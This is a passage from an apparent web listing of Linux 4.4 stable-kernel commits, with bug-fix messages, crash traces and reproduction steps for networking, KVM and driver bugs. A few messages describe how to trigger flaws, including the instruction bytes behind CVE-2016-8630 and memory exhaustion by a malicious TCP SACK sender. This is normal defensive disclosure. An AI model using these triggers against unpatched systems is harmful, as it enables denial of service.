    Fixes: 2abd9d5 ("usb: dwc3: ep0: Add chained TRB support")
    
    Signed-off-by: Christophe JAILLET <[email protected]>
    Signed-off-by: Felipe Balbi <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    tititiou36 authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    93fe5c7 View commit details
    Browse the repository at this point in the history
  33. tty: vt, fix bogus division in csi_J

    commit 42acfc6 upstream.
    
    In csi_J(3), the third parameter of scr_memsetw (vc_screenbuf_size) is
    divided by 2 inappropriatelly. But scr_memsetw expects size, not
    count, because it divides the size by 2 on its own before doing actual
    memset-by-words.
    
    So remove the bogus division.
    
    Signed-off-by: Jiri Slaby <[email protected]>
    Cc: Petr Písař <[email protected]>
    Fixes: f8df13e (tty: Clean console safely)
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Jiri Slaby authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    62fa839 View commit details
    Browse the repository at this point in the history
  34. kvm: x86: Check memopp before dereference (CVE-2016-8630)

    commit d9092f5 upstream.
    
    Commit 41061cd ("KVM: emulate: do not initialize memopp") removes a
    check for non-NULL under incorrect assumptions. An undefined instruction
    with a ModR/M byte with Mod=0 and R/M-5 (e.g. 0xc7 0x15) will attempt
    to dereference a null pointer here.
    
    Fixes: 41061cd
    Message-Id: <[email protected]>
    Signed-off-by: Owen Hofmann <[email protected]>
    Signed-off-by: Paolo Bonzini <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Owen Hofmann authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    91e1f7b View commit details
    Browse the repository at this point in the history
  35. ubi: fastmap: Fix add_vol() return value test in ubi_attach_fastmap()

    commit 40b6e61 upstream.
    
    Commit e96a8a3 ("UBI: Fastmap: Do not add vol if it already
    exists") introduced a bug by changing the possible error codes returned
    by add_vol():
    - this function no longer returns NULL in case of allocation failure
      but return ERR_PTR(-ENOMEM)
    - when a duplicate entry in the volume RB tree is found it returns
      ERR_PTR(-EEXIST) instead of ERR_PTR(-EINVAL)
    
    Fix the tests done on add_vol() return val to match this new behavior.
    
    Fixes: e96a8a3 ("UBI: Fastmap: Do not add vol if it already exists")
    Reported-by: Dan Carpenter <[email protected]>
    Signed-off-by: Boris Brezillon <[email protected]>
    Acked-by: Sheng Yong <[email protected]>
    Signed-off-by: Richard Weinberger <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Boris Brezillon authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    69e14ce View commit details
    Browse the repository at this point in the history
  36. HID: usbhid: add ATEN CS962 to list of quirky devices

    commit cf0ea4d upstream.
    
    Like many similar devices it needs a quirk to work.
    Issuing the request gets the device into an irrecoverable state.
    
    Signed-off-by: Oliver Neukum <[email protected]>
    Signed-off-by: Jiri Kosina <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    oneukum authored and gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    78bd7c9 View commit details
    Browse the repository at this point in the history
  37. Linux 4.4.31

    gregkh committed Nov 10, 2016
    Configuration menu
    Copy the full SHA
    beb996c View commit details
    Browse the repository at this point in the history

Commits on Nov 15, 2016

  1. tcp: fix overflow in __tcp_retransmit_skb()

    [ Upstream commit ffb4d6c ]
    
    If a TCP socket gets a large write queue, an overflow can happen
    in a test in __tcp_retransmit_skb() preventing all retransmits.
    
    The flow then stalls and resets after timeouts.
    
    Tested:
    
    sysctl -w net.core.wmem_max=1000000000
    netperf -H dest -- -s 1000000000
    
    Signed-off-by: Eric Dumazet <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    a35ce62 View commit details
    Browse the repository at this point in the history
  2. net: avoid sk_forward_alloc overflows

    [ Upstream commit 20c64d5 ]
    
    A malicious TCP receiver, sending SACK, can force the sender to split
    skbs in write queue and increase its memory usage.
    
    Then, when socket is closed and its write queue purged, we might
    overflow sk_forward_alloc (It becomes negative)
    
    sk_mem_reclaim() does nothing in this case, and more than 2GB
    are leaked from TCP perspective (tcp_memory_allocated is not changed)
    
    Then warnings trigger from inet_sock_destruct() and
    sk_stream_kill_queues() seeing a not zero sk_forward_alloc
    
    All TCP stack can be stuck because TCP is under memory pressure.
    
    A simple fix is to preemptively reclaim from sk_mem_uncharge().
    
    This makes sure a socket wont have more than 2 MB forward allocated,
    after burst and idle period.
    
    Signed-off-by: Eric Dumazet <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    d2e01b1 View commit details
    Browse the repository at this point in the history
  3. tcp: fix wrong checksum calculation on MTU probing

    [ Upstream commit 2fe664f ]
    
    With TCP MTU probing enabled and offload TX checksumming disabled,
    tcp_mtu_probe() calculated the wrong checksum when a fragment being copied
    into the probe's SKB had an odd length. This was caused by the direct use
    of skb_copy_and_csum_bits() to calculate the checksum, as it pads the
    fragment being copied, if needed. When this fragment was not the last, a
    subsequent call used the previous checksum without considering this
    padding.
    
    The effect was a stale connection in one way, as even retransmissions
    wouldn't solve the problem, because the checksum was never recalculated for
    the full SKB length.
    
    Signed-off-by: Douglas Caetano dos Santos <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Douglas Caetano dos Santos authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    ac40148 View commit details
    Browse the repository at this point in the history
  4. tcp: fix a compile error in DBGUNDO()

    [ Upstream commit 019b1c9 ]
    
    If DBGUNDO() is enabled (FASTRETRANS_DEBUG > 1), a compile
    error will happen, since inet6_sk(sk)->daddr became sk->sk_v6_daddr
    
    Fixes: efe4208 ("ipv6: make lookups simpler and faster")
    Signed-off-by: Eric Dumazet <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    aadcd6a View commit details
    Browse the repository at this point in the history
  5. ip6_gre: fix flowi6_proto value in ip6gre_xmit_other()

    [ Upstream commit db32e4e ]
    
    Similar to commit 3be0724 ("ip6_gre: fix flowi6_proto value in
    xmit path"), set flowi6_proto to IPPROTO_GRE for output route lookup.
    
    Up until now, ip6gre_xmit_other() has set flowi6_proto to a bogus value.
    This affected output route lookup for packets sent on an ip6gretap device
    in cases where routing was dependent on the value of flowi6_proto.
    
    Since the correct proto is already set in the tunnel flowi6 template via
    commit 252f3f5 ("ip6_gre: Set flowi6_proto as IPPROTO_GRE in xmit
    path."), simply delete the line setting the incorrect flowi6_proto value.
    
    Suggested-by: Jiri Benc <[email protected]>
    Fixes: c12b395 ("gre: Support GRE over IPv6")
    Reviewed-by: Shmulik Ladkani <[email protected]>
    Signed-off-by: Lance Richardson <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    hlrichardson authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    4f312a8 View commit details
    Browse the repository at this point in the history
  6. ipmr, ip6mr: fix scheduling while atomic and a deadlock with ipmr_get…

    …_route
    
    [ Upstream commit 2cf7507 ]
    
    Since the commit below the ipmr/ip6mr rtnl_unicast() code uses the portid
    instead of the previous dst_pid which was copied from in_skb's portid.
    Since the skb is new the portid is 0 at that point so the packets are sent
    to the kernel and we get scheduling while atomic or a deadlock (depending
    on where it happens) by trying to acquire rtnl two times.
    Also since this is RTM_GETROUTE, it can be triggered by a normal user.
    
    Here's the sleeping while atomic trace:
    [ 7858.212557] BUG: sleeping function called from invalid context at kernel/locking/mutex.c:620
    [ 7858.212748] in_atomic(): 1, irqs_disabled(): 0, pid: 0, name: swapper/0
    [ 7858.212881] 2 locks held by swapper/0/0:
    [ 7858.213013]  #0:  (((&mrt->ipmr_expire_timer))){+.-...}, at: [<ffffffff810fbbf5>] call_timer_fn+0x5/0x350
    [ 7858.213422]  Freescale#1:  (mfc_unres_lock){+.....}, at: [<ffffffff8161e005>] ipmr_expire_process+0x25/0x130
    [ 7858.213807] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.8.0-rc7+ Freescale#179
    [ 7858.213934] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140531_083030-gandalf 04/01/2014
    [ 7858.214108]  0000000000000000 ffff88005b403c50 ffffffff813a7804 0000000000000000
    [ 7858.214412]  ffffffff81a1338e ffff88005b403c78 ffffffff810a4a72 ffffffff81a1338e
    [ 7858.214716]  000000000000026c 0000000000000000 ffff88005b403ca8 ffffffff810a4b9f
    [ 7858.215251] Call Trace:
    [ 7858.215412]  <IRQ>  [<ffffffff813a7804>] dump_stack+0x85/0xc1
    [ 7858.215662]  [<ffffffff810a4a72>] ___might_sleep+0x192/0x250
    [ 7858.215868]  [<ffffffff810a4b9f>] __might_sleep+0x6f/0x100
    [ 7858.216072]  [<ffffffff8165bea3>] mutex_lock_nested+0x33/0x4d0
    [ 7858.216279]  [<ffffffff815a7a5f>] ? netlink_lookup+0x25f/0x460
    [ 7858.216487]  [<ffffffff8157474b>] rtnetlink_rcv+0x1b/0x40
    [ 7858.216687]  [<ffffffff815a9a0c>] netlink_unicast+0x19c/0x260
    [ 7858.216900]  [<ffffffff81573c70>] rtnl_unicast+0x20/0x30
    [ 7858.217128]  [<ffffffff8161cd39>] ipmr_destroy_unres+0xa9/0xf0
    [ 7858.217351]  [<ffffffff8161e06f>] ipmr_expire_process+0x8f/0x130
    [ 7858.217581]  [<ffffffff8161dfe0>] ? ipmr_net_init+0x180/0x180
    [ 7858.217785]  [<ffffffff8161dfe0>] ? ipmr_net_init+0x180/0x180
    [ 7858.217990]  [<ffffffff810fbc95>] call_timer_fn+0xa5/0x350
    [ 7858.218192]  [<ffffffff810fbbf5>] ? call_timer_fn+0x5/0x350
    [ 7858.218415]  [<ffffffff8161dfe0>] ? ipmr_net_init+0x180/0x180
    [ 7858.218656]  [<ffffffff810fde10>] run_timer_softirq+0x260/0x640
    [ 7858.218865]  [<ffffffff8166379b>] ? __do_softirq+0xbb/0x54f
    [ 7858.219068]  [<ffffffff816637c8>] __do_softirq+0xe8/0x54f
    [ 7858.219269]  [<ffffffff8107a948>] irq_exit+0xb8/0xc0
    [ 7858.219463]  [<ffffffff81663452>] smp_apic_timer_interrupt+0x42/0x50
    [ 7858.219678]  [<ffffffff816625bc>] apic_timer_interrupt+0x8c/0xa0
    [ 7858.219897]  <EOI>  [<ffffffff81055f16>] ? native_safe_halt+0x6/0x10
    [ 7858.220165]  [<ffffffff810d64dd>] ? trace_hardirqs_on+0xd/0x10
    [ 7858.220373]  [<ffffffff810298e3>] default_idle+0x23/0x190
    [ 7858.220574]  [<ffffffff8102a20f>] arch_cpu_idle+0xf/0x20
    [ 7858.220790]  [<ffffffff810c9f8c>] default_idle_call+0x4c/0x60
    [ 7858.221016]  [<ffffffff810ca33b>] cpu_startup_entry+0x39b/0x4d0
    [ 7858.221257]  [<ffffffff8164f995>] rest_init+0x135/0x140
    [ 7858.221469]  [<ffffffff81f83014>] start_kernel+0x50e/0x51b
    [ 7858.221670]  [<ffffffff81f82120>] ? early_idt_handler_array+0x120/0x120
    [ 7858.221894]  [<ffffffff81f8243f>] x86_64_start_reservations+0x2a/0x2c
    [ 7858.222113]  [<ffffffff81f8257c>] x86_64_start_kernel+0x13b/0x14a
    
    Fixes: 2942e90 ("[RTNETLINK]: Use rtnl_unicast() for rtnetlink unicasts")
    Signed-off-by: Nikolay Aleksandrov <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Nikolay Aleksandrov authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    6eb0061 View commit details
    Browse the repository at this point in the history
  7. tg3: Avoid NULL pointer dereference in tg3_io_error_detected()

    [ Upstream commit 1b0ff89 ]
    
    While the driver is probing the adapter, an error may occur before the
    netdev structure is allocated and attached to pci_dev. In this case,
    not only netdev isn't available, but the tg3 private structure is also
    not available as it is just math from the NULL pointer, so dereferences
    must be skipped.
    
    The following trace is seen when the error is triggered:
    
      [1.402247] Unable to handle kernel paging request for data at address 0x00001a99
      [1.402410] Faulting instruction address: 0xc0000000007e33f8
      [1.402450] Oops: Kernel access of bad area, sig: 11 [Freescale#1]
      [1.402481] SMP NR_CPUS=2048 NUMA PowerNV
      [1.402513] Modules linked in:
      [1.402545] CPU: 0 PID: 651 Comm: eehd Not tainted 4.4.0-36-generic Freescale#55-Ubuntu
      [1.402591] task: c000001fe4e42a20 ti: c000001fe4e88000 task.ti: c000001fe4e88000
      [1.402742] NIP: c0000000007e33f8 LR: c0000000007e3164 CTR: c000000000595ea0
      [1.402787] REGS: c000001fe4e8b790 TRAP: 0300   Not tainted  (4.4.0-36-generic)
      [1.402832] MSR: 9000000100009033 <SF,HV,EE,ME,IR,DR,RI,LE>  CR: 28000422  XER: 20000000
      [1.403058] CFAR: c000000000008468 DAR: 0000000000001a99 DSISR: 42000000 SOFTE: 1
      GPR00: c0000000007e3164 c000001fe4e8ba10 c0000000015c5e00 0000000000000000
      GPR04: 0000000000000001 0000000000000000 0000000000000039 0000000000000299
      GPR08: 0000000000000000 0000000000000001 c000001fe4e88000 0000000000000006
      GPR12: 0000000000000000 c00000000fb40000 c0000000000e6558 c000003ca1bffd00
      GPR16: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
      GPR20: 0000000000000000 0000000000000000 0000000000000000 c000000000d52768
      GPR24: c000000000d52740 0000000000000100 c000003ca1b52000 0000000000000002
      GPR28: 0000000000000900 0000000000000000 c00000000152a0c0 c000003ca1b52000
      [1.404226] NIP [c0000000007e33f8] tg3_io_error_detected+0x308/0x340
      [1.404265] LR [c0000000007e3164] tg3_io_error_detected+0x74/0x340
    
    This patch avoids the NULL pointer dereference by moving the access after
    the netdev NULL pointer check on tg3_io_error_detected(). Also, we add a
    check for netdev being NULL on tg3_io_resume() [suggested by Michael Chan].
    
    Fixes: 0486a06 ("tg3: prevent ifup/ifdown during PCI error recovery")
    Fixes: dfc8f37 ("net/tg3: Release IRQs on permanent error")
    Tested-by: Guilherme G. Piccoli <[email protected]>
    Signed-off-by: Milton Miller <[email protected]>
    Signed-off-by: Guilherme G. Piccoli <[email protected]>
    Acked-by: Michael Chan <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    mdmillerii authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    0ee4acb View commit details
    Browse the repository at this point in the history
  8. net: fec: set mac address unconditionally

    [ Upstream commit b82d44d ]
    
    If the mac address origin is not dt, you can only safely assign a mac
    address after "link up" of the device. If the link is off the clocks are
    disabled and because of issues assigning registers when clocks are off the
    new mac address cannot be written in .ndo_set_mac_address() on some soc's.
    This fix sets the mac address unconditionally in fec_restart(...) and
    ensures consistency between fec registers and the network layer.
    
    Signed-off-by: Gavin Schenk <[email protected]>
    Acked-by: Fugang Duan <[email protected]>
    Acked-by: Uwe Kleine-König <[email protected]>
    Fixes: 9638d19 ("net: fec: add netif status check before set mac address")
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Gavin Schenk authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    bc5d8ce View commit details
    Browse the repository at this point in the history
  9. net: pktgen: fix pkt_size

    [ Upstream commit 63d7546 ]
    
    The commit 879c722 ("net: pktgen: Observe needed_headroom
    of the device") increased the 'pkt_overhead' field value by
    LL_RESERVED_SPACE.
    As a side effect the generated packet size, computed as:
    
    	/* Eth + IPh + UDPh + mpls */
    	datalen = pkt_dev->cur_pkt_size - 14 - 20 - 8 -
    		  pkt_dev->pkt_overhead;
    
    is decreased by the same value.
    The above changed slightly the behavior of existing pktgen users,
    and made the procfs interface somewhat inconsistent.
    Fix it by restoring the previous pkt_overhead value and using
    LL_RESERVED_SPACE as extralen in skb allocation.
    Also, change pktgen_alloc_skb() to only partially reserve
    the headroom to allow the caller to prefetch from ll header
    start.
    
    v1 -> v2:
     - fixed some typos in the comments
    
    Fixes: 879c722 ("net: pktgen: Observe needed_headroom of the device")
    Suggested-by: Ben Greear <[email protected]>
    Signed-off-by: Paolo Abeni <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Paolo Abeni authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    bb7ffb6 View commit details
    Browse the repository at this point in the history
  10. net/sched: act_vlan: Push skb->data to mac_header prior calling skb_v…

    …lan_*() functions
    
    [ Upstream commit f39acc8 ]
    
    Generic skb_vlan_push/skb_vlan_pop functions don't properly handle the
    case where the input skb data pointer does not point at the mac header:
    
    - They're doing push/pop, but fail to properly unwind data back to its
      original location.
      For example, in the skb_vlan_push case, any subsequent
      'skb_push(skb, skb->mac_len)' calls make the skb->data point 4 bytes
      BEFORE start of frame, leading to bogus frames that may be transmitted.
    
    - They update rcsum per the added/removed 4 bytes tag.
      Alas if data is originally after the vlan/eth headers, then these
      bytes were already pulled out of the csum.
    
    OTOH calling skb_vlan_push/skb_vlan_pop with skb->data at mac_header
    present no issues.
    
    act_vlan is the only caller to skb_vlan_*() that has skb->data pointing
    at network header (upon ingress).
    Other calles (ovs, bpf) already adjust skb->data at mac_header.
    
    This patch fixes act_vlan to point to the mac_header prior calling
    skb_vlan_*() functions, as other callers do.
    
    Signed-off-by: Shmulik Ladkani <[email protected]>
    Cc: Daniel Borkmann <[email protected]>
    Cc: Pravin Shelar <[email protected]>
    Cc: Jiri Pirko <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    sladkani authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    9edbf4a View commit details
    Browse the repository at this point in the history
  11. net: Add netdev all_adj_list refcnt propagation to fix panic

    [ Upstream commit 9340903 ]
    
    This is a respin of a patch to fix a relatively easily reproducible kernel
    panic related to the all_adj_list handling for netdevs in recent kernels.
    
    The following sequence of commands will reproduce the issue:
    
    ip link add link eth0 name eth0.100 type vlan id 100
    ip link add link eth0 name eth0.200 type vlan id 200
    ip link add name testbr type bridge
    ip link set eth0.100 master testbr
    ip link set eth0.200 master testbr
    ip link add link testbr mac0 type macvlan
    ip link delete dev testbr
    
    This creates an upper/lower tree of (excuse the poor ASCII art):
    
                /---eth0.100-eth0
    mac0-testbr-
                \---eth0.200-eth0
    
    When testbr is deleted, the all_adj_lists are walked, and eth0 is deleted twice from
    the mac0 list. Unfortunately, during setup in __netdev_upper_dev_link, only one
    reference to eth0 is added, so this results in a panic.
    
    This change adds reference count propagation so things are handled properly.
    
    Matthias Schiffer reported a similar crash in batman-adv:
    
    freifunk-gluon/gluon#680
    https://www.open-mesh.org/issues/247
    
    which this patch also seems to resolve.
    
    Signed-off-by: Andrew Collins <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    apc-cradlepoint authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    63091b2 View commit details
    Browse the repository at this point in the history
  12. packet: call fanout_release, while UNREGISTERING a netdev

    [ Upstream commit 6664498 ]
    
    If a socket has FANOUT sockopt set, a new proto_hook is registered
    as part of fanout_add(). When processing a NETDEV_UNREGISTER event in
    af_packet, __fanout_unlink is called for all sockets, but prot_hook which was
    registered as part of fanout_add is not removed. Call fanout_release, on a
    NETDEV_UNREGISTER, which removes prot_hook and removes fanout from the
    fanout_list.
    
    This fixes BUG_ON(!list_empty(&dev->ptype_specific)) in netdev_run_todo()
    
    Signed-off-by: Anoob Soman <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    anoobs authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    d72cb5f View commit details
    Browse the repository at this point in the history
  13. netlink: do not enter direct reclaim from netlink_dump()

    [ Upstream commit d35c99f ]
    
    Since linux-3.15, netlink_dump() can use up to 16384 bytes skb
    allocations.
    
    Due to struct skb_shared_info ~320 bytes overhead, we end up using
    order-3 (on x86) page allocations, that might trigger direct reclaim and
    add stress.
    
    The intent was really to attempt a large allocation but immediately
    fallback to a smaller one (order-1 on x86) in case of memory stress.
    
    On recent kernels (linux-4.4), we can remove __GFP_DIRECT_RECLAIM to
    meet the goal. Old kernels would need to remove __GFP_WAIT
    
    While we are at it, since we do an order-3 allocation, allow to use
    all the allocated bytes instead of 16384 to reduce syscalls during
    large dumps.
    
    iproute2 already uses 32KB recvmsg() buffer sizes.
    
    Alexei provided an initial patch downsizing to SKB_WITH_OVERHEAD(16384)
    
    Fixes: 9063e21 ("netlink: autosize skb lengthes")
    Signed-off-by: Eric Dumazet <[email protected]>
    Reported-by: Alexei Starovoitov <[email protected]>
    Cc: Greg Thelen <[email protected]>
    Reviewed-by: Greg Rose <[email protected]>
    Acked-by: Alexei Starovoitov <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    6d123f1 View commit details
    Browse the repository at this point in the history
  14. ipv6: tcp: restore IP6CB for pktoptions skbs

    [ Upstream commit 8ce4862 ]
    
    Baozeng Ding reported following KASAN splat :
    
    BUG: KASAN: use-after-free in ip6_datagram_recv_specific_ctl+0x13f1/0x15c0 at addr ffff880029c84ec8
    Read of size 1 by task poc/25548
    Call Trace:
     [<ffffffff82cf43c9>] dump_stack+0x12e/0x185 /lib/dump_stack.c:15
     [<     inline     >] print_address_description /mm/kasan/report.c:204
     [<ffffffff817ced3b>] kasan_report_error+0x48b/0x4b0 /mm/kasan/report.c:283
     [<     inline     >] kasan_report /mm/kasan/report.c:303
     [<ffffffff817ced9e>] __asan_report_load1_noabort+0x3e/0x40 /mm/kasan/report.c:321
     [<ffffffff85c71da1>] ip6_datagram_recv_specific_ctl+0x13f1/0x15c0 /net/ipv6/datagram.c:687
     [<ffffffff85c734c3>] ip6_datagram_recv_ctl+0x33/0x40
     [<ffffffff85c0b07c>] do_ipv6_getsockopt.isra.4+0xaec/0x2150
     [<ffffffff85c0c7f6>] ipv6_getsockopt+0x116/0x230
     [<ffffffff859b5a12>] tcp_getsockopt+0x82/0xd0 /net/ipv4/tcp.c:3035
     [<ffffffff855fb385>] sock_common_getsockopt+0x95/0xd0 /net/core/sock.c:2647
     [<     inline     >] SYSC_getsockopt /net/socket.c:1776
     [<ffffffff855f8ba2>] SyS_getsockopt+0x142/0x230 /net/socket.c:1758
     [<ffffffff8685cdc5>] entry_SYSCALL_64_fastpath+0x23/0xc6
    Memory state around the buggy address:
     ffff880029c84d80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
     ffff880029c84e00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
    > ffff880029c84e80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
                                                  ^
     ffff880029c84f00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
     ffff880029c84f80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
    
    He also provided a syzkaller reproducer.
    
    Issue is that ip6_datagram_recv_specific_ctl() expects to find IP6CB
    data that was moved at a different place in tcp_v6_rcv()
    
    This patch moves tcp_v6_restore_cb() up and calls it from
    tcp_v6_do_rcv() when np->pktoptions is set.
    
    Fixes: 971f10e ("tcp: better TCP_SKB_CB layout to reduce cache line misses")
    Signed-off-by: Eric Dumazet <[email protected]>
    Reported-by: Baozeng Ding <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    705b5ac View commit details
    Browse the repository at this point in the history
  15. ip6_tunnel: fix ip6_tnl_lookup

    [ Upstream commit 68d00f3 ]
    
    The commit ea3dc96 ("ip6_tunnel: Add support for wildcard tunnel
    endpoints.") introduces support for wildcards in tunnels endpoints,
    but in some rare circumstances ip6_tnl_lookup selects wrong tunnel
    interface relying only on source or destination address of the packet
    and not checking presence of wildcard in tunnels endpoints. Later in
    ip6_tnl_rcv this packets can be dicarded because of difference in
    ipproto even if fallback device have proper ipproto configuration.
    
    This patch adds checks of wildcard endpoint in tunnel avoiding such
    behavior
    
    Fixes: ea3dc96 ("ip6_tunnel: Add support for wildcard tunnel endpoints.")
    Signed-off-by: Vadim Fedorenko <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Vadim Fedorenko authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    f9d4850 View commit details
    Browse the repository at this point in the history
  16. ipv6: correctly add local routes when lo goes up

    [ Upstream commit a220445 ]
    
    The goal of the patch is to fix this scenario:
     ip link add dummy1 type dummy
     ip link set dummy1 up
     ip link set lo down ; ip link set lo up
    
    After that sequence, the local route to the link layer address of dummy1 is
    not there anymore.
    
    When the loopback is set down, all local routes are deleted by
    addrconf_ifdown()/rt6_ifdown(). At this time, the rt6_info entry still
    exists, because the corresponding idev has a reference on it. After the rcu
    grace period, dst_rcu_free() is called, and thus ___dst_free(), which will
    set obsolete to DST_OBSOLETE_DEAD.
    
    In this case, init_loopback() is called before dst_rcu_free(), thus
    obsolete is still sets to something <= 0. So, the function doesn't add the
    route again. To avoid that race, let's check the rt6 refcnt instead.
    
    Fixes: 25fb6ca ("net IPv6 : Fix broken IPv6 routing table after loopback down-up")
    Fixes: a881ae1 ("ipv6: don't call addrconf_dst_alloc again when enable lo")
    Fixes: 33d9911 ("ipv6: reallocate addrconf router for ipv6 address when lo device up")
    Reported-by: Francesco Santoro <[email protected]>
    Reported-by: Samuel Gauthier <[email protected]>
    CC: Balakumaran Kannan <[email protected]>
    CC: Maruthi Thotad <[email protected]>
    CC: Sabrina Dubroca <[email protected]>
    CC: Hannes Frederic Sowa <[email protected]>
    CC: Weilong Chen <[email protected]>
    CC: Gao feng <[email protected]>
    Signed-off-by: Nicolas Dichtel <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    NicolasDichtel authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    e635b47 View commit details
    Browse the repository at this point in the history
  17. net: pktgen: remove rcu locking in pktgen_change_name()

    [ Upstream commit 9a0b1e8 ]
    
    After Jesper commit back in linux-3.18, we trigger a lockdep
    splat in proc_create_data() while allocating memory from
    pktgen_change_name().
    
    This patch converts t->if_lock to a mutex, since it is now only
    used from control path, and adds proper locking to pktgen_change_name()
    
    1) pktgen_thread_lock to protect the outer loop (iterating threads)
    2) t->if_lock to protect the inner loop (iterating devices)
    
    Note that before Jesper patch, pktgen_change_name() was lacking proper
    protection, but lockdep was not able to detect the problem.
    
    Fixes: 8788370 ("pktgen: RCU-ify "if_list" to remove lock in next_to_run()")
    Reported-by: John Sperbeck <[email protected]>
    Signed-off-by: Eric Dumazet <[email protected]>
    Cc: Jesper Dangaard Brouer <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    f467184 View commit details
    Browse the repository at this point in the history
  18. bridge: multicast: restore perm router ports on multicast enable

    [ Upstream commit 7cb3f92 ]
    
    Satish reported a problem with the perm multicast router ports not getting
    reenabled after some series of events, in particular if it happens that the
    multicast snooping has been disabled and the port goes to disabled state
    then it will be deleted from the router port list, but if it moves into
    non-disabled state it will not be re-added because the mcast snooping is
    still disabled, and enabling snooping later does nothing.
    
    Here are the steps to reproduce, setup br0 with snooping enabled and eth1
    added as a perm router (multicast_router = 2):
    1. $ echo 0 > /sys/class/net/br0/bridge/multicast_snooping
    2. $ ip l set eth1 down
    ^ This step deletes the interface from the router list
    3. $ ip l set eth1 up
    ^ This step does not add it again because mcast snooping is disabled
    4. $ echo 1 > /sys/class/net/br0/bridge/multicast_snooping
    5. $ bridge -d -s mdb show
    <empty>
    
    At this point we have mcast enabled and eth1 as a perm router (value = 2)
    but it is not in the router list which is incorrect.
    
    After this change:
    1. $ echo 0 > /sys/class/net/br0/bridge/multicast_snooping
    2. $ ip l set eth1 down
    ^ This step deletes the interface from the router list
    3. $ ip l set eth1 up
    ^ This step does not add it again because mcast snooping is disabled
    4. $ echo 1 > /sys/class/net/br0/bridge/multicast_snooping
    5. $ bridge -d -s mdb show
    router ports on br0: eth1
    
    Note: we can directly do br_multicast_enable_port for all because the
    querier timer already has checks for the port state and will simply
    expire if it's in blocking/disabled. See the comment added by
    commit 9aa6638 ("bridge: multicast: add a comment to
    br_port_state_selection about blocking state")
    
    Fixes: 561f110 ("bridge: Add multicast_snooping sysfs toggle")
    Reported-by: Satish Ashok <[email protected]>
    Signed-off-by: Nikolay Aleksandrov <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Nikolay Aleksandrov authored and gregkh committed Nov 15, 2016
    Configuration menu
    Copy the full SHA
    ebfbfc2 View commit details
    Browse the repository at this point in the history
  19. rtnetlink: Add rtnexthop offload flag to compare mask

